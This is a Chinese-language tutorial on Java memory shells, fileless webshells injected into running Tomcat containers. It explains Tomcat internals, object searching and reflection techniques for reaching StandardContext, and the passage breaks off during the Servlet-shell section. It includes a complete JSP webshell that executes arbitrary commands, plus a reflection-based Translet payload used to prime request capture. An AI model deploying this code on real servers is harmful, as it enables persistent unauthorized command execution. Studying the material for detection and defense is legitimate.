Java 内存马

sky123

基础知识

基本概念

内存马(memory shell)指的是攻击者在获得代码执行后,不落盘地把恶意逻辑“挂接”进正在运行的 Java Web 容器(如 Tomcat/Jetty/Undertow 或上层框架如 Spring MVC)——让后续的 HTTP 请求在内存中的组件里被拦截/处理,从而实现长期控制与隐蔽通信。进程彻底重启通常会使其消失。

通常来说,由于 Java 的 JSP 支持热加载,因此我们可以通过上传一个 JSP 的 Web Shell 来实现不出网情况下的任意命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
request.setCharacterEncoding("UTF-8"); // POST 参数防乱码(GET 需配 connector URIEncoding)

String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");

// 按各自平台常见编码解码子进程输出
String procCharset = isWin ? "GBK" : "UTF-8";

String[] full = isWin ? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};

ProcessBuilder pb = new ProcessBuilder(full);
pb.redirectErrorStream(true); // 合并 stderr,避免阻塞
Process p = pb.start();

out.print("<pre>");
try (java.io.BufferedReader br = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream(),
java.nio.charset.Charset.forName(procCharset)))) {
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
try {
p.waitFor(); // 等子进程结束(可选)
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
out.print("</pre>");
}
%>

而内存马则不会有实体文件,而是直接运行在 Web 进程中。目前安全行业主要讨论的内存马主要分为以下几种方式:

  • 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
  • 使用 java agent 技术写入字节码

提示

通常我们说的内存马文件不落地指的是

对象搜索

内存马通常需要往指定对象中注册监听类,这就需要我们通过当前可直接访问的对象查找目标对象。

Java Object Searcher 项目可以对内存中的对象进行搜索。

我们首先需要将 java-object-searcher-<version>.jar 引入到目标应用的 classpath 中,或者可以放在 jdk 的 ext 目录;之后编写调用代码搜索目标对象。

对于 Maven 项目中我们需要在 pom.xml 中添加 java-object-searcher 的依赖:

1
2
3
4
5
6
7
<dependency>
<groupId>me.gv7.tools</groupId>
<artifactId>java-object-searcher</artifactId>
<version>local</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/java-object-searcher.jar</systemPath>
</dependency>

并且确保在打包成 war 包的时候也要将 Jar 包放到 WEB-INF/lib 目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.4.0</version>
<configuration>
<webResources>
<resource>
<directory>${project.basedir}/lib</directory>
<targetPath>WEB-INF/lib</targetPath>
<includes>
<include>java-object-searcher.jar</include>
</includes>
</resource>
</webResources>
</configuration>
</plugin>
</plugins>
</build>

搜索目标对象的时候需要根据要搜索什么样的对象,选择对应的搜索器,目前项目有三类:

  • JavaObjectSearcher:普通搜索器
  • SearchRequstByBFS:通过广度优先搜索 requst 对象搜索器
  • SearchRequstByRecursive:通过深度优先搜索 requst 对象搜索器(递归实现)

以搜索 request 对象为例,选好搜索器 SearchRequstByBFS,并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须),可写如下搜索代码到 IDEA 的 Evaluate 中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList<>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("ServletRequest").build());
//定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new java.util.ArrayList<>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();
1
2
3
4
5
6
7
8
9
10
11
12
13
//设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new java.util.ArrayList<>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.apache.catalina.connector.RequestFacade").build());

//新建一个广度优先搜索Thread.currentThread()的搜索器
// me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.currentThread(),keys);
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(this,keys);

//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();

关键字是搜索目标对象的关键,可以目标三个属性属性名field_name),属性值field_value)和属性类型field_type)。

比如想搜索属性名为 table 同时属性值为 test 的对象,还搜索属性名 request 同时属性类型包含 RequestInfo 关键字的,对应的逻辑表达试如下:

1
(field_name = table & field_value = test) || (field_name = request & field_type = RequestInfo)

编写代码如下:

1
2
3
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_name("table").setField_type("test").build());
keys.add(new Keyword.Builder().setField_name("request").setField_type("RequestInfo").build());

黑名单是定义哪些属性中不可能存有要搜索的目标对象,防止无意义的搜索,浪费时间。如果把上面的例子当做黑名单,编写的代码也是类似的。

1
2
3
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_name("table").setField_value("test").build());
blacklists.add(new Blacklist.Builder().setField_name("request").setField_type("RequestInfo").build());

提示

这种方法是从当前上下文实例化的某个对象开始搜索的,而实际情况下我们还可以通过某个特定的类的静态成员获取指定的对象。因此如果使用这个工具无法搜索到指定对象的话可以考虑一下这种情况。

容器调试

cargo-maven3-pluginCodehaus Cargo 项目提供的 Maven 插件,用于在 Maven 构建过程中 自动下载、配置、启动、部署和管理 Java Web 容器(如 Tomcat、Jetty、WildFly 等)

Cargo 是插件,但它本质是由 容器适配层 + Maven 插件封装层 组成。

  • Container:代表你使用的 Web 容器(Tomcat7x/9x、Jetty10x/11x、WildFly22x 等)
  • Configuration:控制容器的启动行为,比如端口、JVM 参数、部署路径等
  • Deployable:WAR、EAR 或其他部署单元
  • zipUrlInstaller:用于自动下载并解压你指定版本的容器安装包(保证版本精确)

cargo-maven3-plugin 的配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<build>
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<source>${maven.compiler.source}</source>
<target>${maven.compiler.target}</target>
<debug>true</debug>
<debuglevel>lines,vars,source</debuglevel>
</configuration>
</plugin>

<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.4.0</version>
<configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
</configuration>
</plugin>

<plugin>
<groupId>org.codehaus.cargo</groupId>
<artifactId>cargo-maven3-plugin</artifactId>
<version>1.10.21</version>
<configuration>
<container>
<containerId>${container.id}</containerId>
<type>embedded</type> <!-- 同 JVM,IDE 直接 Debug -->
</container>

<configuration>
<type>standalone</type>
<properties>
<cargo.servlet.port>8080</cargo.servlet.port>
</properties>
</configuration>

<deployables>
<deployable>
<type>war</type>
<location>${project.build.directory}/${project.build.finalName}.war</location>
<properties>
<context>/</context>
</properties>
</deployable>
</deployables>
</configuration>
</plugin>
</plugins>
</build>

cargo-maven3-plugin 不会给项目引入源码,因此我们需要在 Maven 导入对应的项目方便调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!-- 嵌入式 JSP 编译器 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${container.version}</version>
<scope>provided</scope>
</dependency>
<!-- 嵌入式 EL 实现 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>${container.version}</version>
<scope>provided</scope>
</dependency>
<!-- 核心(保持,对齐源码/符号) -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${container.version}</version>
<scope>provided</scope>
</dependency>
<!-- ECJ:让 JSP 编译带全量调试符号 -->
<dependency>
<groupId>org.eclipse.jdt</groupId>
<artifactId>ecj</artifactId>
<version>3.33.0</version>
<scope>provided</scope>
</dependency>

cargo 运行的项目需要打包成 war 包,因此需要在 <project> 顶部补上:

1
<packaging>war</packaging>

运行/调试配置 中新建一个 Maven 配置,并且运行命令行设置为 clean package cargo:run -f pom.xml

容器类内存马

Java Web 容器(更准确叫“Servlet 容器”,Jakarta Servlet 规范的实现)是运行 Servlet/JSP 等 Web 组件的运行时环境。它负责把底层的 HTTP 请求交给你的代码处理,并把 HTTP 响应发送回客户端,同时管理应用的加载、隔离与生命周期。

Tomcat 内存马

Tomcat(Apache Tomcat)是一个开源的 Java Web 服务器 / Servlet 容器:实现了 Jakarta Servlet、JSP、EL、WebSocket 等规范,把浏览器发来的 HTTP 请求交给你的 Servlet/JSP 代码执行,再把结果作为 HTTP 响应返回。它既能当轻量 Web 服务器用,也常作为应用容器挂在 Nginx/Apache httpd 之后。

提示

Tomcat 的环境配置如下,其中 9.x 系列实现 Servlet 4.0 / JSP 2.3;10.x 起转向 Jakarta 命名空间(javax.*jakarta.*)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!-- ===== Tomcat 7 预设(embedded) ===== -->
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

<container.id>tomcat7x</container.id>
<container.version>7.0.109</container.version>
</properties>

<!-- ===== Tomcat 8.5 预设(embedded) ===== -->
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

<container.id>tomcat8x</container.id>
<container.version>8.5.100</container.version>
</properties>

<!-- ===== Tomcat 9 预设(embedded) ===== -->
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

<container.id>tomcat9x</container.id>
<container.version>9.0.109</container.version>
</properties>

<!-- ===== Tomcat 10.1 预设(embedded) ===== -->
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

<container.id>tomcat10x</container.id>
<container.version>10.1.46</container.version>
</properties>

我们可以把 Tomcat 简单看成由下面三个部分组成的系统:

  • Catalina:Servlet 容器,负责容器层级与调度:Server → Service → Engine → Host → Context → Wrapper,还有 Pipeline/Valve、Session/Realm、安全等。
  • Coyote:连接器/协议栈(监听端口、解析 HTTP/AJP,把 I/O 转成容器可用的 Request/Response,再把响应写回)。支持 HTTP/1.1、HTTP/2、AJP;实现包括 NIO、NIO2、APR/native。
  • Jasper:JSP 引擎(把 JSP 编译成 Servlet;文件变更时可重新编译)。

结构如下:

1
2
3
4
5
6
7
8
Server
└─ Service
├─ Connector(们) ← Coyote:监听端口,解析 HTTP/AJP
└─ Engine ← Catalina:容器入口
├─ Host(们) ← 虚拟主机:按域名分站
│ └─ Context ← Web 应用:一个 WAR / 目录
│ └─ Wrapper← 单个 Servlet 的“座位”
└─ Host ...
  • Server:Tomcat 整体进程(顶层容器)。
  • Service:把“一组端口”(Connectors) 和 “一个处理器”(Engine) 绑在一起。常见只有一个 Service。
  • Connector(Coyote):开端口、收发字节、解析协议(HTTP/1.1、AJP、可启用 HTTP/2)。不懂 Servlet,只把请求交给 Engine。
  • Engine(Catalina):容器的总入口,下面都是 Catalina 的活儿。
  • Host:虚拟主机(按域名区分多个站点)。example.comblog.example.com 各是一个 Host。
  • Context:一个 Web 应用(一个 WAR 或 webapps 里的目录)。它有上下文路径//app/admin
  • Wrapper:一个 Servlet 的容器节点(StandardWrapper),一个 Wrapper = 一个 Servlet 实例。

以请求 http://shop.example.com/app/hello/list 为例:

  1. Connector(比如 8080 的 HTTP)
    收到 TCP 连接→解析 HTTP→得到请求行/头/体。

  2. Adapter + Mapper(桥接 & 路由匹配)

    • 读 Host 头:**shop.example.com** → 选中对应 Host

    • 读 URL 路径:在这个 Host 下找 Context,按“最长前缀”匹配:

      • "/""/app",就选 **/app**;
    • 余下路径再匹配 Servlet 映射(Wrapper):优先级大致是精确前缀 /x/*扩展名 *.do → **默认 /**。

  3. Engine/Host/Context/Wrapper 的 Pipeline/Valve
    进入 Engine.Pipeline,先跑你配的 Valves(访问日志、IP 还原等),Engine.BasicStandardEngineValve)把请求交到目标 Host.Pipeline
    Host 同理,Host.Basic 交给 Context.Pipeline
    Context 同理,Context.Basic 交给 Wrapper.Pipeline
    最底层 **StandardWrapperValve**:

    • 分配/初始化目标 Servlet;
    • filterMaps 动态构建过滤器链
    • 执行所有 Filter,**链尾调用 servlet.service(req, resp)**。

Tomcat 常见问题

如何获取 StandardContext

org.apache.catalina.core.StandardContext 是 Catalina(Tomcat 的 Servlet 容器)里 Context 接口的标准实现一个 StandardContext 就代表 Tomcat 里的一个 Web 应用(一个 WAR 或 webapp 目录)

由于该容器负责组件注册与容器内部结构等重要功能,因此注册内存马的时候我们经常需要获取 StandardContext

从 ServletRequest 获取

无论是 JSP 中的 request 对象还是 Servletservice 方法的 ServletRequest 参数,获取的 Request 实际上都是org.apache.catalina.connector.RequestFacade 类型的。

其中 RequestFacade 中的 request 成员是 org.apache.catalina.connector.Request 类型,我们可以通过调用它的 getContext 方法获取 org.apache.catalina.core.StandardContext

1
2
3
4
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

另外下面这种方式也可以获取 standardContext,但是过程要麻烦一些。

1
2
3
4
5
6
7
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

对于任意字节码加载这种情况,由于触发漏洞点的位置不一定能获取到 request 对象,因此我们需要寻找其他通用的方式获取。

从 ApplicationFilterChain 获取

org.apache.catalina.core.ApplicationFilterChainTomcat 里 FilterChain 的实现:为“这一次请求/一次转发调度”把所有匹配到的 Filter 排成一条链,然后依次调用它们;当所有 Filter 都跑完后,**最后一次 doFilter() 就会去调目标 Servlet#service()**。

其中在 ApplicationFilterChain 中有两个静态变量 lastServicedRequestlastServicedResponse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public final class ApplicationFilterChain implements FilterChain {

// 用于满足 Servlet 规范 SRV.8.2 / SRV.14.2.5.1:
// 在 forward/include 等调度场景中,需要确保传递给目标资源的
// 是“同一(或按规范要求包装后的同一)”request/response 对象。
// 这里通过 ThreadLocal 在“当前工作线程”上暂存本次正在服务的
// ServletRequest / ServletResponse,以便链路内其它位置在同一线程中取用。
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

// 静态初始化:是否启用上述暂存机制由 ApplicationDispatcher.WRAP_SAME_OBJECT 决定。
// - 当为 true:创建 ThreadLocal 实例;在链尾调用 servlet.service(...) 前 set(...),
// 并在 finally 中 set(null) 清理,避免线程池复用导致的跨请求泄漏。
// - 当为 false:禁用该机制,字段保持为 null,调用处不会尝试 set(...)。
// (注意:类一旦按 false 分支完成初始化,后续即便把开关改为 true,
// 也不会自动重新创建 ThreadLocal;除非你自行以反射等方式重新赋值。)
static {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest = new ThreadLocal<>();
lastServicedResponse = new ThreadLocal<>();
} else {
lastServicedRequest = null; // 明确禁用:减少开销并防止误用
lastServicedResponse = null;
}
}

// [...]
}

在静态代码块中,如果 org.apache.catalina.core.ApplicationDispatcher#WRAP_SAME_OBJECTtrue 则这两个变量会被初始化为 java.lang.ThreadLocal

ThreadLocal 是 Java 中针对每个线程存储自身的变量的一个容器。在 ApplicationFilterChain#internalDoFilter 函数调用 javax.servlet#service 函数前,会分别为其设置 requestresponse 对象。而在 javax.servlet#service 函数调用后,又会清空 lastServicedRequestlastServicedResponse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// 走到过滤器链的末端 —— 开始真正调用目标 Servlet 实例
try {
// 若启用“同一对象包装”语义(WRAP_SAME_OBJECT),
// 将当前线程正在处理的 request/response 放到两个 ThreadLocal 里,
// 以满足规范对 forward/include 等场景中对象同一性的要求。
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

// 如果请求标记为支持异步,但目标 Servlet 本身不支持异步,
// 在请求属性里放一个标志,后续组件可据此禁用/回退异步处理。
if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}

// 从这行起,可能使用的是被 Filter/Dispatcher 包装过的 request/response
// 若启用了安全管理(SecurityManager),且是 HTTP 请求/响应,
// 则通过 SecurityUtil 以特权方式调用 Servlet#service,传入当前用户主体。
if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal = ((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[] { req, res };
// 以特权(doAsPrivilege)调用目标 servlet 的 "service" 方法
SecurityUtil.doAsPrivilege("service", servlet, classTypeUsedInService, args, principal);
} else {
// 常规路径:直接调用目标 servlet 的 service 方法
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
// 常见受检/非受检异常:原样抛出,交给上层容器处理
throw e;
} catch (Throwable e) {
// 其它异常(包含反射包装的 InvocationTargetException 等):
// 先解包,再按容器约定处理可抛型,最后包装成 ServletException 抛出
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
// 清理 ThreadLocal,防止在线程池场景下发生跨请求数据泄漏
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}

因此如果漏洞点可以从 javax.servlet#service 调用过来,那么我们就可以通过 lastServicedRequest 对象获取本次请求对应的 ServletRequest 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class applicationFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");

java.lang.reflect.Field lastServicedRequestField = applicationFilterChainClass.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);

if (lastServicedRequest != null && lastServicedRequest.get() != null) {
ServletRequest servletRequest = (ServletRequest) lastServicedRequest.get();

Field requestField = servletRequest.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request.getContext();

return standardContext;
}

注意

由于调用 Filter 的位置位于 lastServicedRequest 赋值之前,因此这个方法不适用于漏洞点位于 Filter 的情况。这也正是为什么 Shiro 反序列化中不能用这个来做回显的原因。

然而通常来说 WRAP_SAME_OBJECT 的值为 false,因此在反射获取 ServletContext 之前,我们需要先:

  • org.apache.catalina.core.ApplicationDispatcher#WRAP_SAME_OBJECT 设置为 true,确保下次请求能够将 ServletRequest 对象保存在 lastServicedRequest 中。
  • lastServicedRequestlastServicedResponse 设置为 ThreadLocal,否则下一次请求调用 set 方法会触发 NPE。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;


public class ApplicationDispatcherPrimingTranslet extends AbstractTranslet {
static {
try {
setFieldValue(
"org.apache.catalina.core.ApplicationFilterChain",
"lastServicedRequest",
new ThreadLocal<>()
);
setFieldValue(
"org.apache.catalina.core.ApplicationFilterChain",
"lastServicedResponse",
new ThreadLocal<>()
);
setFieldValue(
"org.apache.catalina.core.ApplicationDispatcher",
"WRAP_SAME_OBJECT",
true
);
} catch (Exception ignored) {
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public static Field getDeclaredField(Class<?> clazz, String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
}

public static void setFieldValue(String className, String fieldName, Object value) throws Exception {
Class<?> clazz = Class.forName(className);
Field field = getDeclaredField(clazz, fieldName);

Field modifiers = getDeclaredField(field.getClass(), "modifiers");
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.set(null, value);
}
}
从 AbstractProcessor 获取
1
2
3
4
5
6
7
8
9
10
public class Http11Processor extends AbstractProcessor {
// [...]
}

public abstract class AbstractProcessor extends AbstractProcessorLight implements ActionHook {
// [...]
protected final Request request;
protected final Response response;
// [...]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
at HelloWorldServlet.service(HelloWorldServlet.java:33)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:212)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)

请求头过长问题

https://www.cnblogs.com/zpchcbd/p/15167571.html

基于 Servlet API

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add*/create* 方法来实现动态注册的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/**
* ServletContext
*
* 作用:Servlet 与“Servlet 容器”交互的总入口。可用于:
* - 查询资源/文件的 MIME 类型、获取资源流、请求分派(forward/include);
* - 动态注册 Servlet / Filter / Listener(自 Servlet 3.0 起);
* - 写容器日志、访问应用级初始化参数与属性等。
*
* 实例个数:同一个 JVM 内,一个 Web 应用仅有一个 ServletContext 实例;
* 若应用在部署描述中标记为“分布式”(distributed),则集群中每个 JVM 都会有各自的
* ServletContext;此时不要把它当作“全局共享存储”,跨 JVM 的共享应使用外部资源(如 DB)。
*
* 获取途径:容器在初始化 Servlet 时,通过 ServletConfig 提供 ServletContext。
*
* 说明:下面仅列出与“编程式注册”(Servlet 3.0+)相关的常用方法,其它方法已省略。
*/
public interface ServletContext {

// ===== Servlet =====

/** 容器实例化一个 Servlet(仅创建,不注册映射)。 */
<T extends Servlet> T createServlet(Class<T> c) throws ServletException;

/** 注册 Servlet(类名)→ 返回可继续配置映射/参数的句柄。 */
ServletRegistration.Dynamic addServlet(String servletName, String className);

/** 注册 Servlet(实例)。 */
ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet);

/** 注册 Servlet(Class,由容器创建实例)。 */
ServletRegistration.Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass);


// ===== Listener =====

/** 容器实例化一个 Listener(仅创建,不注册)。 */
<T extends EventListener> T createListener(Class<T> c) throws ServletException;

/** 注册 Listener(类名)。 */
void addListener(String className);

/** 注册 Listener(实例)。 */
<T extends EventListener> void addListener(T t);

/** 注册 Listener(Class,由容器创建实例)。 */
void addListener(Class<? extends EventListener> listenerClass);


// ===== Filter =====

/** 容器实例化一个 Filter(仅创建,不注册)。 */
<T extends Filter> T createFilter(Class<T> c) throws ServletException;

/** 注册 Filter(类名)。 */
FilterRegistration.Dynamic addFilter(String filterName, String className);

/** 注册 Filter(实例)。 */
FilterRegistration.Dynamic addFilter(String filterName, Filter filter);

/** 注册 Filter(Class,由容器创建实例)。 */
FilterRegistration.Dynamic addFilter(String filterName, Class<? extends Filter> filterClass);

// [...]
}

上面这些 add* 方法只能在应用启动期调用;否则容器应抛 IllegalStateException。在业务应用中常常在 ServletContextListener#contextInitialized 里注册 Servlet、Listener、Filter 组件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
import java.util.EnumSet;

@WebListener
public class AppInitializer implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
ServletContext ctx = sce.getServletContext();

// 1) 注册 Servlet(用类让容器来创建实例,也可传实例)
ServletRegistration.Dynamic s = ctx.addServlet("hello", HelloServlet.class);
if (s != null) { // null 说明同名已存在
s.addMapping("/hello/*"); // 返回冲突的 pattern 集合,空=成功
s.setLoadOnStartup(1); // 启动期预初始化(非懒加载)
s.setAsyncSupported(true); // 需要异步时打开
s.setInitParameter("k", "v");
}

// 2) (可选)注册 Filter
FilterRegistration.Dynamic f = ctx.addFilter("log", new LogFilter());
if (f != null) {
f.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), true, "/*");
}

// 3) (可选)注册 Listener
ctx.addListener(new MySessionListener());
}

@Override
public void contextDestroyed(ServletContextEvent sce) {

}
}

Servlet 型内存马

前面注册注册组件使用的 javax.servlet.ServletContext 只是接口。通过调试 addServlet 函数调用发现是 org.apache.catalina.core.ApplicationContext#addServlet 完成实际的添加操作。

1
2
3
4
at org.apache.catalina.core.ApplicationContext.addServlet(ApplicationContext.java:886)
at org.apache.catalina.core.ApplicationContext.addServlet(ApplicationContext.java:839)
at org.apache.catalina.core.ApplicationContextFacade.addServlet(ApplicationContextFacade.java:494)
at AppInitializer.contextInitialized(AppInitializer.java:16)

直接 ApplicationContext#addServlet 会有一些注册状态的检查,但是分析 ApplicationContext#addServlet 的实现可知,该函数实际是通过调用它的 context 成员完成注册的,因此我们可以仿照 ApplicationContext#addServlet 的过程直接调用 context 的相关方法完成注册。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// 说明:这是 ApplicationContext 里的私有实现,用于承接所有 addServlet(...) 重载。
// 语义:根据传入的 servletName / servletClass / servlet 实例 与 initParams,
// 在当前 Web 应用(StandardContext)下创建/取得对应的 Wrapper(Servlet 节点),
// 完成必要的初始化,返回一个可继续配置映射/参数的 Registration 句柄。
// 约束:只能在“应用启动期”调用(context 尚未完全初始化);否则将抛 IllegalStateException。
private ServletRegistration.Dynamic addServlet(String servletName,
String servletClass, Servlet servlet, Map<String,String> initParams)
throws IllegalStateException {

// 1) 校验名称:Servlet 名称不能为空
if (servletName == null || servletName.equals("")) {
// sm 是 StringManager,做国际化消息拼装;抛出非法参数异常
throw new IllegalArgumentException(
